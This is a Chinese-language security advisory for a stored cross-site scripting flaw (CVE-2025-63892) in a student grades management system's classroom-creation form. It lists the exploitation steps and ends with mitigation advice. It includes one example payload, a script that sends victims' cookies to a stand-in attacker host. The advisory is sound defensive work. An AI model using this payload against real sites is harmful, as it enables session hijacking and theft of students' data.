CVE-2025-63892CVE-2025-63892是SourceCodester Student Grades Management System 1.0版本中的一个存储型跨站脚本攻击(XSS)漏洞。该漏洞存在于/classroom.php文件中的create_classroom函数,攻击者可以通过name和description参数注入恶意JavaScript代码。由于该输入未经适当过滤直接存储在数据库中,当其他用户访问受影响的页面时,恶意脚本将在其浏览器上下文中执行。
存储型XSS是一种比反射型XSS更为严重的漏洞类型。攻击者只需进行一次注入,恶意payload将持久存在于服务器端,影响所有访问该功能的用户。攻击者可以利用此漏洞窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或在用户浏览器中执行任意操作。
该漏洞的CVSS评分为6.8,属于中等严重程度。虽然CVSS向量显示需要高权限(PR:H)和用户交互(UI:R),但一旦攻击成功,攻击者可获得对系统的高度访问权限,包括机密性、完整性和可用性的高影响。考虑到该系统是学生成绩管理系统,存储着敏感的学生信息,此漏洞的潜在危害更为严重。
系统管理员应及时关注此漏洞的修复进展,并在修复前采取相应的防护措施,避免恶意脚本的注入和传播。
漏洞位于SourceCodester Student Grades Management System的/classroom.php文件,具体是create_classroom函数中的name和description参数。攻击者构造恶意payload时,这些参数值未经充分的输入验证和输出编码即被存储到数据库中。
漏洞利用过程如下:
1. 攻击者以高权限用户身份登录系统
2. 访问My Classrooms Management页面
3. 在创建教室功能中,构造包含恶意JavaScript代码的name或description参数
4. 提交表单,恶意代码被存储到数据库
5. 当其他用户查看教室列表或详情页面时,存储的恶意脚本被执行
例如,攻击者可在name或description字段中注入:
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
此payload会在受害者访问页面时自动执行,将用户的cookie信息发送到攻击者控制的服务器。由于会话cookie被盗,攻击者可以劫持用户会话并冒充合法用户进行操作。
防御建议:在服务端对所有用户输入进行严格的输入验证,使用HTML实体编码进行输出转义,实施内容安全策略(CSP),并对敏感操作使用CSRF Token。